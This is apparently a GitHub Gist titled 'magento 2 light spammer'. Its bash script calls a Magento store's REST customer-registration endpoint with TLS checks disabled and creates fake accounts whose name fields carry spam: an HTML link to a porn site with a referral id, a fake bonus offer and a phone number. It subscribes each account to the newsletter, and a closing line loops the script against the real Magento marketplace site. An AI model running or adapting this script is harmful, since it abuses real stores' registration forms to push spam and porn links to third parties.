Last active
December 11, 2020 11:24
-
-
Save magenx/5bbc66555a0c90435c108a500c170ae3 to your computer and use it in GitHub Desktop.
magento 2 light spammer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
curl -k -X POST "$1/rest/V1/customers" \ | |
-H "Content-Type:application/json" \ | |
--data @<(cat <<EOF | |
{ | |
"customer": { | |
"extension_attributes": { | |
"is_subscribed": true | |
}, | |
"custom_attributes":{"customer_type": "Consumer"}, | |
"email": "joe${RANDOM}@example.com", | |
"firstname": "⚐ $(date) - ☺ Register a premium account now, and get \$${RANDOM} bonus! ☺", | |
"lastname": "⚐ this is your personal link: <a href='https://www.porngrub.com/?refid=${RANDOM}'>grub me now!</a> | ☏ - Please call us immediately at: #555-444-333-222", | |
"dob": "11/12/1999", | |
"addresses": [{ | |
"defaultShipping": true, | |
"defaultBilling": true, | |
"firstname": "John", | |
"lastname": "Rambo", | |
"region": { | |
"regionCode": "NY", | |
"region": "New York" | |
}, | |
"postcode": "10755", | |
"street": ["123 Oak Ave"], | |
"city": "Purchase", | |
"telephone": "1234567890", | |
"countryId": "SG" | |
}] | |
}, | |
"password": "Abar${RANDOM}valg" | |
} | |
EOF | |
) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
for try in {1..5}; do bash mailspam https://marketplace.magento.com ; done